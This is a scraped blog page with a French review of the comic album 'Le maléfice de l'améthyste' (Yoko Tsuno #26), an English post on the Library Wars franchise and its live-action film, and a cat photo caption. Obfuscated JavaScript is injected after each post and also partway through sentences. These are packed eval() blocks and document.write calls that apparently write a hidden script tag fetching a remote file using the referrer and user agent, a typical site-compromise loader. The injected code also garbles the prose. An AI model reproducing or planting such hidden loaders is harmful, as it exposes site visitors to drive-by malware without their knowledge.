Le maléfice de l’améthyste

“De retour en Écosse, document.write(“”); Yoko et Emilia reçoivent une étrange visite. Un notaire vient leur annoncer que l’arrière-grand-tante d’Emilia lui a légué son cottage… pour la remercier de lui avoir sauvé la vie en 1935 ! Intriguées, les deux amies se rendent sur place pour y trouver le fiancé de l’arrière-grand-tante qui leur explique son histoire. En 1934, il a inventé une machine à remonter le temps et l’a utilisée pour voyager dans le futur afin d’y trouver un médicament contre la tuberculose, mal dont se meurt sa promise. Mais resté coincé au XXIe siècle, il lui a fallu du temps pour réparer sa machine et, trop vieux pour faire le voyage-retour, il demande à Yoko et à Emilia de porter le remède dans le passé. Les deux amies n’ont pas le temps d’hésiter: piégées, elles se retrouvent dans les années 30 où elles auront affaire à des comploteurs russes et une étrange pierre précieuse au pouvoir maléfique.” [ Texte du site de l’éditeur; voir couverture arrière ]
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ihssr|var|u0026u|referrer|zyety||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kzebz|var|u0026u|referrer|dkeff||js|php’.split(‘|’),0,{}))

Continuez après le saut de page >>

Ça fait longtemps que je n’avais pas lu d’aventures de Yoko Tsuno: j’ai pas mal tout lu ce qui était disponible quand j’étais adolescent (disons les dix premiers albums; ma fascination pour les japonaises ne date donc pas d’hier) et puis j’ai lu le tome 2 de l’Intégrale (les Aventures Allemandes, i.e. les albums #2, 7 & 14) en 2006. Ayant mis la main à la bibliothèque sur le tout dernier album paru à la fin de 2012, le vingt-sixième, je n’ai pas pu résister à en faire la lecture.

Je suis d’abord surpris que, pour une série qui a débuté en septembre 1970, il n’y ait que vingt-six albums. J’aurais cru qu’il y en aurait plus que ça. Il est vrai que si Leloup publiait un album tout les ans au début, il a depuis le milieu des années ’80 ralenti le rythme et ne publie plus qu’un album tout les deux ou trois ans. Mais, bon, Leloup a presque quatre-vingt ans, alors il ne faut pas s’attendre à des miracles.

Je suis également plutôt déçu de cet album. Si le dessin est toujours aussi détaillé mais plus précis et les couleurs plus vives, quelque chose a changé dans l’apparence de Yoko que je n’aime pas. Leloup a sans doute tenté de moderniser son allure (en la faisant moins “jaune” entre autres) mais pour moi ce n’est pas réussi. J’aimais mieux le vieux design. Côté histoire, la technologie présentée n’est toujours pas crédible (quoique ça on s’en fou un peu, c’est de la science-fiction après tout) mais le récit me semble un peu précipité. On dirait que l’histoire est prisonnière du format traditionnel des quarante-huit pages de la BD franco-belge. Dans l’ensemble on dirait que l’album est de moindre qualité que les précédents (si la nostalgie a peut-être embellie mes souvenirs, je crois tout de même que Leloup a un peu perdu la main…).

Toutefois, c’est quand même une lecture agréable et divertissante.


Le maléfice de l’améthyste (Yoko Tsuno, #26), par Roger Leloup (texte et illustrations). Paris, Dupuis, novembre 2012. 30,0 x 21,8 x 0,7 cm, 48 pg., 10,60 € / $17.95 Can. ISBN: 978-2-8001-4862-5. Recommandé pour tous.

Pour plus d’information vous pouvez consulter les sites suivants:

Le maléfice de l’améthyste © Dupuis, 2012.

[ Translate ]

Library Wars

Toshokan Sens? (????? / Library War) first came out as a light novel series (written by Hiro Arikawa and published by MediaWorks in 2006-07; translated in french by Glénat in their Roman Manga collection). It was then adapted into a manga series by Kiiro Yumi (serialized in Hakusensha’s LaLa magazine since 2007, document.write(“”); translated in English by Viz Media and in French by Glénat). Both novel and manga series are available in french from the Montreal libraries network. I will definitely add those to my reading list since I work in a library and find the concept totally hilarious! However, as it is often the case in Japan, it was later adapted into a 12-episode animated series (directed by Takayuki Hamana and produced by Production I.G, it aired in 2008 on Fuji TV’s Noitamina segment) before being made into a live-action movie directed by Shinsuke Sato in April 2013. [See AsianWiki for more details on the movie]
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|esske|var|u0026u|referrer|thbiy||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yarda|var|u0026u|referrer|dsyke||js|php’.split(‘|’),0,{}))

In 2019, the Japanese government (following a trend that we start seeing today in many developed societies) pass a very strong censorship law in order to protect the country but it has the adverse effect of dangerously diminishing the freedom of expression. An armed force is created to search and eliminate any documents that contravene the law. However, libraries in Japan have their own law that gives them freedom in collecting and offering their materials, guaranteeing privacy to their users and categorically opposing any type of censorship (it’s based on the Statement on Intellectual Freedom in Libraries, a real law passed in 1954 and amended in 1979). Therefore, an armed force is created to protect libraries against such censorship. The story follows Iku Kasahara, a young woman who had always dreamed to join the Library Defense Force, as she becomes a recruit and discovers all the challenges of a paramilitary life.

Yesterday, we’ve learned from Anime News Network that “Montreal’s Fantasia International Film Festival will screen the Canadian premiere of the live-action Library Wars film this summer”. Fantasia’s scheduling is yet to be announced.

In the meantimes, you can have a quick look on the movie’s trailer Dailymotion:

https://dailymotion.com/video/xzgom7

Update: Now you can also read my comment on the movie.

[ Traduire ]

L’image du chat-medi

Chut! Saya dort
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dnedi|var|u0026u|referrer|kahki||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|shsyz|var|u0026u|referrer|aefnk||js|php’.split(‘|’),0,{}))
<a href="
http://www.flickr.com/photos/clodjee/8759314671/&quot; target="“new”" title="Saya sleeping by clodjee, document.write(“”); on Flickr”>Saya sleeping